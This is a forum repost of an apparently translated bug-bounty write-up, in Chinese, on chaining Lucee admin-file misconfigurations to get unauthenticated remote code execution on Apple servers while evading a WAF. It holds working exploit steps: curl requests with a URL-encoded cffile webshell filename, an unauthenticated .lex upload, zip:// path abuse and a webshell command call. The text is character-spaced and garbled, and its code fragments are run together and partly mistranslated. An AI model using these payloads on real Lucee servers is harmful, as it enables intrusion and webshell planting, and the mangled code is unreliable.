搜索

[2251] 2021-01-24_寻找0day来入侵Apple

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-16
2021-01-24_寻找0day来入侵Apple 寻 找 0 d a y 来 入 侵 A p p l e 原 创   g b e r g s o n   E D I 安 全   2 0 2 1 - 0 1 - 2 4 我 们 将 重 点 放 在 关 键 发 现 上 ， 例 如 P I I 暴 露 或 访 问 A p p l e 服 务 器 / 内 部 网 络 。 这 些 是 我 们 认 为 A p p l e 会 最 感 兴 趣 的 错 误 类 型 。 在 查 看 侦 察 数 据 并 确 定 可 能 正 在 运 行 的 服 务 时 ， 我 们 发 现 L u c e e 支 持 的 C M S 上 运 行 的 三 台 主 机 。 由 于 C M S 和 L u c e e 都 可 以 轻 松 地 在 本 地 托 管 ， 因 此 它 们 是 我 们 入 侵 的 良 好 目 标 。 我 们 选 择 关 注 L u c e e ， 因 为 它 公 开 了 管 理 面 板 并 具 有 漏 洞 历 史 记 录 。 可 以 在 三 台 不 同 的 A p p l e 主 机 上 访 问 L u c e e 的 管 理 面 板 。 两 个 正 在 运 行 一 个 过 时 的 版 本 ， 另 一 个 正 在 运 行 一 个 相 当 新 的 版 本 。 要 利 用 我 们 将 在 下 面 讨 论 的 漏 洞 ， 我 们 需 要 了 解 A p p l e 所 使 用 的 W A F ， 更 重 要 的 是 ， F a c i l i t i e s . a p p l e . c o m 上 的 前 端 服 务 器 如 何 与 之 交 互 。 苹 果 的 W A F 非 常 痛 苦 。 它 通 过 U R L （ 查 询 参 数 ） 阻 止 几 乎 所 有 尝 试 的 路 径   S Q L i 。 F a c i l i t i e s . a p p l e . c o m 上 的 前 端 服 务 器 （ 反 向 代 理 ） 配 置 为 仅 显 示 来 自 状 态 代 码 为 2 0 0 和 4 0 4 的 后 端 服 务 器 的 响 应 。 如 果 在 后 端 获 得 任 何 其 他 状 态 代 码 ， 则 前 端 服 务 器 将 改 为 提 供 4 0 3   ， 这 与 触 发 W A F 时 的 响 应 相 同 。 在 本 地 测 试 L u c e e 时 ， 我 们 遇 到 了 严 重 的 错 误 配 置 ， 它 使 攻 击 者 可 以 直 接 访 问 经 过 身 份 验 证 的 C F M （ C o l d F u s i o n ） 文 件 。 这 使 我 们 可 以 执 行 许 多 已 认 证 的 操 作 ， 而 完 全 未 经 认 证 。 r e q u e s t . a d m i n t y p e 在 C F M 文 件 中 点 击 变 量 / 属 性 后 ， 由 于 我 们 未 通 过 a d m i n 身 份 验 证 ， 因 此 执 行 流 程 将 停 止 。 但 是 ， 执 行 该 检 查 之 前 的 所 有 代 码 。 因 此 ， 我 们 必 须 先 找 到 具 有 某 种 错 误 的 文 件 ， 然 后 再 将 其 击 中 r e q u e s t . a d m i n t y p e 。 我 们 使 用 这 三 个 文 件 在 L u c e e 安 装 上 获 得 完 整 的 预 认 证 / 未 认 证 R C E ： i m g P r o c e s s . c f m 中 的 S w e e t ＆ S i m p l e   R C E 为 了 复 制 A p p l e 的 安 装 ， 我 们 获 得 了 运 行 相 同 版 本 的 L u c e e 的 本 地 副 本 。 i m g P r o c e s s . c f m 没 有 任 何 参 数 的 打 开 使 我 们 的 安 装 出 现 异 常 。 在 苹 果 服 务 器 上 打 开 该 文 件 ， 我 们 得 到 了 4 0 3 ， 表 示 该 文 件 存 在 。 我 们 只 需 要 指 定 正 确 的 参 数 / 值 即 可 。 否 则 ， 后 端 服 务 器 将 引 发 一 个 例 外 ， 前 端 服 务 器 将 为 此 服 务 4 0 3 。 参 数 错 误 - 正 确 的 参 数 - 该 文 件 具 有 路 径 遍 历 漏 洞 ， 可 以 使 用 我 们 给 定 的 内 容 在 服 务 器 上 的 任 何 位 置 创 建 文 件 。 # 入 门 入 门 # 侦 查 和 指 纹 侦 查 和 指 纹 ·   h t t p s : / / f a c i l i t i e s . a p p l e . c o m / （ 最 新 版 本 ） ·   h t t p s : / / b o o k t r a v e l . a p p l e . c o m / （ 旧 版 本 ） ·   h t t p s : / / b o o k t r a v e l - u a t . a p p l e . c o m / （ 旧 版 本 ） # 苹 果 的 W A F 行 为 # L U C E E 配 置 错 误 配 置 错 误 ·   i m g P r o c e s s . c f m （ 在 较 早 版 本 中 不 可 用 ） ·   a d m i n . s e a r c h . i n d e x . c f m ·   e x t . a p p l i c a t i o n s . u p l o a d . c f m # 尝 试 失 败 尝 试 失 败
这 需 要 一 个 查 询 参 数 ， f i l e 并 使 用 以 下 行 将 其 创 建 为 文 件 我 们 的 输 入 可 以 通 过 p o s t 参 数 定 义 i m g S r c 。 该 目 录 必 须 在 进 行 路 径 遍 历 之 前 存 在 ， 因 为 L i n u x 要 求 在 进 行 遍 历 之 前 必 须 存 在 路 径 。 e x p a n d P a t h 创 建 不 存 在 的 路 径 并 以 字 符 串 形 式 返 回 该 路 径 。 因 此 ， 传 递 f i l e = / . . / . . / . . / c o n t e x t / p w n . c f m 将 创 建 目 录 并 遍 历 w e b r o o t 中 的 上 下 文 目 录 ， 从 而 在 此 处 为 我 们 提 供 了 一 个 e z z   R C E 。 但 是 ， 即 使 有 此 错 误 ， 我 们 也 无 法 在 A p p l e 的 情 况 下 利 用 它 ， 因 为 W A F 会 阻 止 . . / i n 查 询 参 数 。 该 e n d p o i n t 明 确 要 求 f i l e 参 数 为 查 询 参 数 （ u r l . f i l e ， 但 f o r m . i m g S r c ） 。 如 果 两 者 都 是 f o r m 或 p o s t 参 数 ， 则 不 会 触 发 W A F 。 我 们 仍 然 可 以 使 用 该 e n d p o i n t 来 创 建 具 有 我 们 在 某 个 目 录 中 控 制 的 名 称 和 内 容 的 文 件 ， 而 无 需 触 发 W A F 。 现 在 怎 么 办 ？ 我 们 如 何 避 免 触 发 W A F ？ a d m i n . s e a r c h . i n d e x . c f m 允 许 我 们 指 定 目 录 并 将 其 内 容 复 制 到 所 需 位 置 。 但 是 ， 复 制 功 能 非 常 棘 手 ， 实 际 上 不 会 复 制 文 件 内 容 ， 也 不 会 保 留 文 件 扩 展 名 。 该 e n d p o i n t 采 用 两 个 参 数 ： ·   d a t a D i r ·   l u c e e A r c h i v e Z i p P a t h d a t a D i r 是 您 要 将 文 件 复 制 到 通 过 l u c e e A r c h i v e Z i p P a t h 参 数 指 定 的 路 径 。 如 果 该 路 径 不 存 在 ， 则 会 创 建 该 路 径 。 我 们 可 以 在 这 里 通 过 绝 对 路 径 。 既 然 复 制 功 能 不 是 标 准 的 ， 那 么 要 更 深 入 地 研 究 负 责 此 功 能 的 代 码 。 我 们 注 意 到 了 这 个 C F M L 标 签 ： 它 列 出 了 l u c e e A r c h i v e Z i p P a t h 目 录 中 的 文 件 。 f i l t e r 属 性 表 示 仅 列 出 格 式 为 * 。 * 。 c f m 的 文 件 。 该 查 询 的 结 果 存 储 在 “   q F i l e s ” 变 量 中 。 接 下 来 ， 遍 历 每 个 文 件 （ 将 其 存 储 在 变 量 c u r r F i l e 中 ） ， 将 文 件 名 中 的 “   . c f m ” 出 现 替 换 为 空 字 符 串 “ ” ， 并 将 此 更 新 的 文 件 名 存 储 在 c u r r A c t i o n 变 量 中 。 因 此 ， 如 果 我 们 有 一 个 文 件 t e s t . x y z . c f m ， 它 将 变 为 t e s t . x y z 。 <   C F S E T   c u r r A c t i o n   = 替 换 （ q F i l e s 。 名 ， '   . C F M   ' ， '   ' ）   / >     然 后 ， 它 检 查 d a t a D i r 目 录 中 是 否 存 在 诸 如 “   t e s t . x y z . e n . t x t ” 或 “   t e s t . x y z . d e . t x t ” 之 类 的 文 件 名 。 同 样 ， d a t a D i r 变 量 是 用 户 控 制 的 。 如 果 此 文 件 不 存 在 ， 它 将 用 空 格 替 换 文 件 名 中 的 点 （ ' 。 ' ） ， 并 将 其 保 存 到 p a g e C o n t e n t s . l n g . c u r r A c t i o n 变 量 中 。 稍 后 ， 将 创 建 文 件 变 量 的 值 将 成 为 其 内 容 。 但 是 它 创 建 了 . t x t 文 件 ， 尽 管 我 们 可 以 控 制 文 件 的 内 容 ， 因 为 它 来 自 文 件 名 本 身 。 随 着 进 一 步 的 发 展 ， 我 们 将 看 到 如 何 利 用 文 件 名 本 身 来 完 成 工 作 。 之 后 ， 它 将 c u r r F i l e 的 内 容 存 储 在 d a t a 变 量 中 ， 过 滤 出 内 容 与 正 则 表 达 式 不 匹 配 的 文 件   [ ' ' " # # ] s t T e x t . . + ? [ ' ' " # # ] ， 然 后 将 它 们 放 入 f i n d s 数 组 中 。 然 后 ， 它 遍 历 f i n d s 数 组 ， 并 检 查 每 个 项 是 否 作 为 键 存 在 。 如 果 没 有 ， 它 将 创 建 它 作 为 键 并 将 其 存 储 在 s e a r c h r e s u l t s 变 量 中 。 最 后 ， 这 些 键 （ 即 s e a r c h r e s u l t s 变 量 ） 以 J S O N 格 式 存 储 在 d a t a D i r 目 录 内 名 为 “   s e a r c h i n d e x . c f m ” 的 文 件 中 。 在 F a c i l i t i e s . a p p l e . c o m 上 执 行 远 程 代 码 我 们 控 制 了 一 个 目 录 ， 可 以 在 其 中 复 制 文 件 （ d a t a D i r 参 数 ） ， 并 可 以 指 定 一 个 目 录 来 复 制 文 件 （ l u c e e A r c h i v e Z i p P a t h 参 数 ） 。 { t e m p - d i r e c t o r y } / a d m i n - e x t - t h u m b n a i l s / _ _ { o u r - i n p u t } 。 <   c f d i r e c t o r y   a c t i o n   =   “   l i s t   ”   目 录 =   “ ＃ l u c e e A r c h i v e Z i p P a t h ＃ ”   f i l t e r   =   “   * 。 * 。 c f m   ”     n a m e   =   “   q F i l e s   ”     s o r t   =   “   n a m e   ”   / > <   c f i f   f i l e E x i s t s （ ' ＃ d a t a D i r   # #   c u r r A c t i o n ＃ 。 ＃ l n g ＃ . t x t   ' ）   > <   C F S E T   p a g e C o n t e n t s   [   L N G   ]   [   c u r r A c t i o n   ]   =   F I L E R E A D （ ' ＃ D A T A D I R   # #   c u r r A c t i o n ＃ 。 ＃ L N G ＃ . T X T   ' ， '   U T F - 8   ' ）   / >     <   c f e l s e   >   < ！ - - - 确 保 在 搜 索 文 件 名 时 也 会 找 到 该 页 面 - - - > <   c f s e t   p a g e C o n t e n t s   [   l n g   ]   [   c u r r A c t i o n   ]   =   “ ＃ r e p l a c e （ c u r r A c t i o n ， ' 。 ' ， '   ' ） ＃ “   / >       < /   c f i f   > t e s t . x y z 。 < l a n g >   . t x t ， p a g e C o n t e n t s . l n g . c u r r A c t i o n <   c f s e t   d a t a   =   f i l e r e a d （ c u r r F i l e ）   / >       <   C F S E T 认 定 =   r e m a t c h N o C a s e （ '   [   ' '   “   # #   ]   s t T e x t     . .   + ？ [   ' '   ”   # #   ]   ' ， 数 据 ）   / >       c f f i l e     a c t i o n   =   “   w r i t e   ”     f i l e   =   “ ＃ d a t a D i r ＃ s e a r c h i n d e x . c f m   ”     c h a r s e t   =   “   u t f - 8   ”     o u t p u t   =   “ ＃ 序 列 化 （ s e a r c h r e s u l t s ） ＃ ”     m o d e   =   “   6 4 4   ”   / > . i m g P r o c e s s . c f m a d m i n . s e a r c h . i n d e x . c f m
如 果 我 们 可 以 在 服 务 器 上 的 某 处 创 建 一 个 名 称 则 可 以 通 过 l u c e e A r c h i v e Z i p P a t h 将 其 路 径 传 递 给 a d m i n . s e a r c h . i n d e x . c f m 。 由 于 此 密 钥 不 存 在 ， 它 将 创 建 它 并 将 其 写 入 名 为 s e a r c h i n d e x . c f m 的 文 件 中 。 这 意 味 着 我 们 可 以 在 使 用 d a t a D i r 参 数 指 定 的 任 何 目 录 中 的 s e a r c h i n d e x . c f m 文 件 中 控 制 C F M L 标 签 （ 类 似 于 P H P 标 签 ） ， 这 意 味 着 我 们 可 以 使 用 w e b r o o t 路 径 在 服 务 器 上 执 行 代 码 ！ 我 们 可 以 利 用 它 在 目 标 文 件 系 统 上 i m g P r o c e s s . c f m 创 建 一 个 文 件 s e r v e r . < c f f i l e   a c t i o n = w r i t e   f i l e = # U r l [ ' f ' ] #   o u t p u t = # U r l [ ' c o n t e n t ' ] # > . c f m ， 其 内 容 与 R e g E x p 相 匹 配 [ ' ' " # # ] s t T e x t . . + ? [ ' ' " # # ] 。 这 种 尝 试 不 会 触 发 W A F ， 因 为 我 们 不 在 这 里 进 行 路 径 遍 历 。 创 建 一 个 以 内 容 命 名 的 文 件   " # s t T e x t . x . f # " （ 以 匹 配 正 则 表 达 式 ） 。 我 们 将 对 文 件 名 进 行 U R L 编 码 ， 因 为 后 端 （ t o m c a t ） 不 喜 欢 某 些 字 符 。 复 制 文 件 名 以 准 备 执 行 代 码 编 写 外 壳 以 触 发 代 码 执 行 访 问 通 过 L u c e e ， 我 们 知 道 它 允 许 使 用 协 议 / 方 案 ， 如 z i p / / ， f i l e / / 等 （ 我 们 在 此 利 用 链 中 使 用 了 该 协 议 ） ， 因 此 我 们 可 以 在 文 件 系 统 功 能 完 全 受 控 的 任 何 地 方 指 定 这 些 方 案 输 入 （ 在 这 种 情 况 下 为 l u c e e A r c h i v e Z i p P a t h ） 。 现 在 ， 我 们 可 以 利 用 e x t . a p p l i c a t i o n s . u p l o a d . c f m 创 建 . l e x 文 件 ， 这 将 有 包 含 一 个 文 件 名 为 Z I P 档 案 s e r v e r . 一 旦 将 Z I P 存 档 保 存 在 文 件 系 统 上 ， 就 可 以 使 用 l u c e e A r c h i v e Z i p P a t h 变 量 中 的 z i p ： / / 在 Z I P 存 档 中 查 询 * 。 * 。 c f m 文 件 ; ） 。 ·   创 建 一 个 以 内 容 命 名 的 文 件 ， " # s t T e x t . x . f # " 并 将 其 压 缩 为 p a y l o a d . l e x 上 传 . l e x 通 过 在 上 述 未 认 证 . l e x 文 件 上 传 文 件 e x t . a p p l i c a t i o n s . u p l o a d . c f m l e x 在 文 件 系 统 上 配 备 了 任 意 文 件 （ z i p 存 档 ） 和 z i p ： / / 方 案 之 后 ， 我 们 可 以 执 行 以 下 操 作 ： 现 在 ， 我 们 名 为 的 文 件 已 作 为 文 本 添 加 到 下 面 的 s e a r c h i n d e x . c f m 文 件 中 / < l u c e e   w e b > / c o n t e x t / e x p l o i t / ， 我 们 可 以 通 过 以 下 方 式 访 问 发 出 请 求 将 创 建 我 们 的 w e b s h e l l s e r v e r . < c f f i l e a c t i o n = w r i t e f i l e = # U r l [ ' f ' ] # o u t p u t = # U r l [ ' c o n t e n t ' ] # > . c f m 为 内 容 的 文 件 " # s t T e x t . x . f # " ， s e r v e r . < c f f i l e   a c t i o n = w r i t e f i l e = # U r l [ ' f ' ] # o u t p u t = # U r l [ ' c o n t e n t ' ] # > . c f m # 取 得 外 壳 的 步 骤 取 得 外 壳 的 步 骤 s e r v e r . < c f f i l e a c t i o n = w r i t e   f i l e = # U r l [ ' f ' ] #   o u t p u t = # U r l [ ' c o n t e n t ' ] # > . c f m c u r l X P O S T ' h t t p s : / / f a c i l i t i e s . a p p l e . c o m / l u c e e / a d m i n / i m g P r o c e s s . c f m f i l e = % 2 F % 7 3 % 6 5 % 7 2 % 7 6 % 6 5 % 7 2 % 2 e % 3 c % 6 3 % 6 6 % 6 6 % 6 9 % 6 c % 6 5 % 2 0 % 6 1 % 6 3 % 7 4 % 6 9 % 6 f % 6 e % 3 d % 7 7 % 7 2 % 6 9 % 7 4 % 6 5 % 2 0 % 6 6 % 6 9 % 6 c % 6 5 % 3 d % 2 3 % 5 5 % 7 2 % 6 c % 5 b % 2 7 % 6 6 % 2 7 % 5 d % 2 3 % 2 0 % 6 f % 7 5 % 7 4 % 7 0 % 7 5 % 7 4 % 3 d % 2 3 % 5 5 % 7 2 % 6 c % 5 b % 2 7 % 6 3 % 6 f % 6 e % 7 4 % 6 5 % 6 e % 7 4 % 2 7 % 5 d % 2 3 % 3 e % 2 e % 6 3 % 6 6 % 6 d ' c u r l   ' h t t p : / / f a c i l i t i e s . a p p l e . c o m / l u c e e / a d m i n / a d m i n . s e a r c h . i n d e x . c f m d a t a D i r = / f u l l / p a t h / l u c e e / c o n t e x t / r o o t x h a r s h / & L U C E E A R C H I V E Z I P P A T H = / f u l l / p a t h / l u c e e / t e m p / a d m i n - e x t - t h u m b n a i l s / _ _ / ' c u r l   h t t p s : / / f a c i l i t i e s . a p p l e . c o m / l u c e e / r o o t x h a r s h / s e a r c h i n d e x . c f m ? f = P o C . c f m & c o n t e n t = c f m _ s h e l l w e b s h e l l -   h t t p s :   / / f a c i l i t i e s . a p p l e . c o m / l u c e e / r o o t x h a r s h / P o C . c f m # 剥 削 要 领 剥 削 要 领 < c f f i l e a c t i o n = w r i t e f i l e = # U r l [ ' f ' ] # o u t p u t = # U r l [ ' c o n t e n t ' ] # > . c f m 与 " # s t T e x t . x . f # " 作 为 内 容 。 # 在 其 他 两 台 主 机 上 获 取 在 其 他 两 台 主 机 上 获 取 s h e l l s e r v e r . < c f f i l e   a c t i o n = w r i t e   f i l e = # U r l [ ' f ' ] #   o u t p u t = # U r l [ ' c o n t e n t ' ] # > . c f m c u r l - v v - F e x t f i l e = @ p a y l o a d . l e x   h t t p s : / / b o o k t r a v e l . a p p l e . c o m / l u c e e / a d m i n / e x t . a p p l i c a t i o n s . u p l o a d . c f m c u r l   h t t p s : / / b o o k t r a v e l . a p p l e . c o m / l u c e e / a d m i n / a d m i n . s e a r c h . i n d e x . c f m ? d a t a D i r = / f u l l / p a t h / l u c e e / w e b / c o n t e x t / e x p l o i t / & l u c e e A r c h i v e Z i p P a t h = z i p : / / / f u l l / p a t h / l u c e e s e r v e r . < c f f i l e   a c t i o n = w r i t e   f i l e = # U r l [ ' f ' ] #   o u t p u t = # U r l [ ' c o n t e n t ' ] # > . c f m h t t p s : / / b o o k t r a v e l . a p p l e . c o m / < l u c e e   r o o t > / e x p l o i t / s e a r c h i n d e x . c f m . h t t p s : / / b o o k t r a v e l . a p p l e . c o m / l u c e e / e x p l o i t / s e a r c h i n d e x . c f m ? f = t e s t . c f m & o u t p u t = c f m l _ s h e l l
网 络 外 壳 ： 有 p a y l o a d 平 衡 器 ， 所 以 我 们 不 得 不 使 用 入 侵 者 来 找 到 我 们 的 外 壳 A p p l e 迅 速 解 决 了 该 问 题 ， 但 要 求 我 们 在 进 行 其 他 更 改 之 前 不 要 披 露 此 问 题 。 对 于 这 些 问 题 ， A p p l e 给 予 我 们 总 计 5 0 , 0 0 0 美 元 的 奖 励 。 另 一 方 面 ， L u c e e 团 队 还 通 过 限 制 直 接 访 问 c f m 文 件 （ 这 是 c o m m i t 链 接 ） 来 修 复 该 错 误 。 E D I 安 全 安 全 一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号 h t t p s   : / / b o o k t r a v e l . a p p l e . c o m / l u c e e / e x p l o i t / t e s t . c f m   ?   c m d   =   i d # 结 论 结 论 扫 二 维 码 ｜ 关 注 我 们 扫 二 维 码 ｜ 关 注 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理